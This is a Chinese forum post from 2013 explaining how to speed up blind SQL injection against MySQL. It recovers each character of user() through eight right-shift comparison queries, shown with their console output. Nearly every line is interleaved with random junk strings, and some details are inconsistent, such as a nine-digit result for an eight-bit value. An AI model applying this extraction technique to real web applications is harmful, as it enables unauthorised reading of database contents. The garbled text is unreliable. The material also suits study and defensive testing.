找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2048|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
- `/ `7 Q( L+ v8 S  @
% d) A0 D+ R3 _" g / s7 X8 ?, h; F4 L5 \( \5 i

8 G8 \7 p- i" f" n$ @- {下面将以查询mysql数据库当中user()的第一位为例:" W: W! c, c0 V1 F* s

2 r+ N  }  S: P6 J1 y; |2 L " d( q1 }/ C" u

% Y3 g+ o  ^! |- o1 T* Z0 Eps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)$ j( z7 N4 u2 A3 f
1 B# K8 \. Z/ m" z7 Q
+ ]( u* }! `- X6 T; L3 T& p- ?

( c' @0 ^; `- D6 k( X5 h首先执行如下sql语句:
. {! O) o: L3 w5 R0 L" y3 q4 H. r) L" ]

* X/ Z& m; [. F9 O& m, [) C  p! M# j1 W3 ^# u  m( @
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;% E( c2 d6 t) g, B1 J

* c0 B4 j/ i) _% |! ]
! Y9 `) ?- q  A& w/ ~, l; s5 z$ f3 n% ?
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的6 I' w) G, _5 h

! x' o# S7 m$ }7 ?( d+ R& x
- w& g: B  I+ W& {- n$ ^6 ]8 _0 a! z9 [- s" x7 t
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
  `+ j1 r9 o: `! x, `& D, I$ o. A  M# |

) n$ Q" ^) W# _( W4 q2 ?
/ x9 K; }+ f# F7 t; V3 A  Y如果运算结果为1,说明第一位为0,不为1
( t) `6 N6 l, f! `; l1 O, N
. H. Y/ v: r) C0 f" G
5 a: q# l3 |# o
, ?: H$ f7 [) r# [2 t2 \' g6 P! t+————————————–+# o& X4 F+ n0 Y5 m- v- z" {: i5 W! {
/ U3 f* P6 t% e; k& q
| (ascii((substr(user(),1,1))) >> 7)=0 |
; Y7 h& o- w  u$ a5 X! @7 j% s& r/ A3 j( y* x4 p9 b. L
+————————————–+0 {7 P$ z0 K" ^$ _3 {
9 V- D7 A# l) c: ^5 ^# f7 ?! N( m
| 1 |
) b' S) b0 U6 e; W. |+ d8 T8 t1 M2 L, H! m2 k
+————————————–+
: P. X) T. e! [  r) X7 K0 A+ b& ^# ?1 Y5 _) q! H5 x
1 row in set (0.00 sec)$ |3 `7 R, {0 g, ^2 Y+ Z

* d, `! ^: v  A1 _( C/ Z这样我们就确定这个8bit的ascii的第一位为0
4 h9 y: m1 O$ E5 s; H& h7 D+ C
! }9 V/ ?. z/ T6 M8 A
' x% z" c7 b  M' u5 N! `7 B5 r' \( l6 s1 L: u
第二次我们来做6次右偏移来确定前两位
( E2 k( q. W2 F0 A1 |* J' x7 F3 t, V- d" i( w; C: |5 _
( x1 _0 @8 [6 M; ~4 y6 X( {

1 D- V4 n- X; f- T, H7 e前两位可能是01或00,即依然可以与0做比较,
! n, Z: T. N: e- |7 I6 g" I' M( X3 }' o$ a( K
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;- Y$ J$ _9 t# I- k7 m$ R: O
4 M" b; O6 w. s) m6 c
+————————————–+
6 v0 j9 y4 A3 s; A8 h) b% C3 V, w5 m5 r6 ^, I; K& Q7 p" R
| (ascii((substr(user(),1,1))) >> 6)=0 |! w! g- I; g" \' f
$ b( V+ Q7 B* g9 N
+————————————–+: O4 ]1 `1 o, K# |

4 F4 w; V! `' K| 0 |
: X/ g- U. c# Y6 X% \; l# }
' B, f% e2 c" H# J! I+————————————–+& w' Q" X. s+ n- X% A! J) U4 H* P8 G
' m4 @/ J  N8 j9 {6 a6 [  K
1 row in set (0.00 sec)
$ t; A' \6 p% ^0 I) [+ c: D( ^
8 ^5 J) r+ V/ ^, V - q' Q0 Q, l0 H
- Q* [9 e9 ~$ j. k7 i  z0 p8 U3 f
结果为0,即第二位为1
9 ~4 }1 j0 g! u9 i5 w) d& L+ G9 Q6 s5 ?; k
! Q& Z* H# B! r3 @$ C8 P, i9 I
6 E- K9 r4 o% v3 a* I
开始猜测前三位为010或011
, ?* |8 ^3 z! x; g1 R: u: r' R2 s( b2 t* B8 k; H( R

! j, S9 A. z9 C3 Y: A6 t6 @- T
7 l- z, x1 h' l% f让我们看看010和011的ascii码是多少
8 \+ b% E1 m+ E% f/ d* k6 o- t1 ^8 R3 M+ _

" {) \4 a( _* T* d) s( S
" l0 g3 P# l5 m6 S4 J分别查询select b’011′ select b’010′. F9 F! ?; g: R: f* ~
, r& O2 t# J! j: a9 j& M
/ g) v! D+ {! K
! d! ~. {* j5 N# M
获得结果 010 = 2 011 = 3! N6 [# i% c  B
6 D/ H4 n: k" A9 ?3 T- Y* V. C

  N, t: {0 e: y9 k/ C) [; U" A( G2 `; j. J
执行如下sql:9 q$ B8 a1 n1 }9 ~& v+ M: t

* l( b( S6 N& t% O1 R) J) v
1 z+ o/ }1 {, y1 c+ V1 u8 M: n2 y, d" c9 \, v5 e
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;! t( t3 {5 M2 D
* o8 l$ n( ~# I. a8 L: D7 g
+————————————–+
: b7 m) w8 y! A7 c4 C  Z3 u- Q# q; n3 c
| (ascii((substr(user(),1,1))) >> 5)=2 |- Q- L: K9 J7 P( f9 G

% X5 a$ p& c! v, h7 w: J+————————————–+
$ m; }# B; Z* L$ @7 ^
% g: ?. ^$ B- t4 N: [& Q* I2 M0 L| 0 |
7 Y7 t3 j% ?+ ?
2 b1 z0 ^3 \1 Q  c7 [( r+————————————–+# d* {7 B+ f9 L

* C) b' b  y. b- I即前三位不为010,而是011( K/ O: G" E2 f( W3 N) v# V6 K
3 R, C# x; d7 z, _/ h1 d4 M. m
, a5 ]/ ~6 ^, a

. U( F9 n, N& R. y* X  }直到获得最后一位; S' t5 x1 _+ n; W3 A( N
( e3 L, m2 b9 t* p
+ H! O; [& F; F& k4 G% p$ I

) D: C, E+ w/ D2 `最终结果为:011100100 r, `' M" a0 c% W3 d; S$ L! S3 p7 f

; _- j* r% X/ T  ] 3 D2 f2 |  v2 Z! ^
3 j0 j; z* [$ F* M7 u* z4 f3 ?
转换一下:
, Q. y7 i" B  P) b8 c1 e. S9 m3 ?. d' {/ L- A
$ `" t/ R1 J# j2 m' T
2 f) A% r1 v, `5 E& j9 ]" \
select b’01110010′
! r! A  |1 a8 t0 n2 X) i6 c; z7 i2 n5 m8 m+ \2 }3 p2 i

* Q/ x# q) F" o1 ?( T* E
9 K: J& d4 P# R9 X' B+ g0 r查询结果
" \  r' L6 {8 z  l' ^3 R0 }, V: q. e( X. j

! W% l3 V! a( r, h3 z% _* {* c) k/ K: B9 N  z
+————-+3 {5 o) N3 a: h4 n% G
) z, Q% W, O5 w! A' x: v
| b’01110010′ |
/ `6 a8 [. b2 S. O8 E, o# D! t# E% d
+————-+% s6 T1 R% U& r+ ?# l2 O

7 _' E# u# @% Y4 k# w| r |/ _) H$ Z5 G8 _

; D8 E- C$ Z: o& S- H2 S+————-+- t- v  H6 \9 n3 k

. C) s# ]+ y3 x0 D) c6 s1 row in set (0.00 sec)
( w" N; S# p: {  O, [
1 B9 s1 R4 d! y+ V5 n" m
" R6 g1 T9 G$ I" N' Z
# Y$ T7 |% _3 E% J$ _这样我们就获得了user()的第一位.其它位依此类推) M- M0 U1 I" w; _; r8 T  P% `

  O# Q& F* @' L7 G8 i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表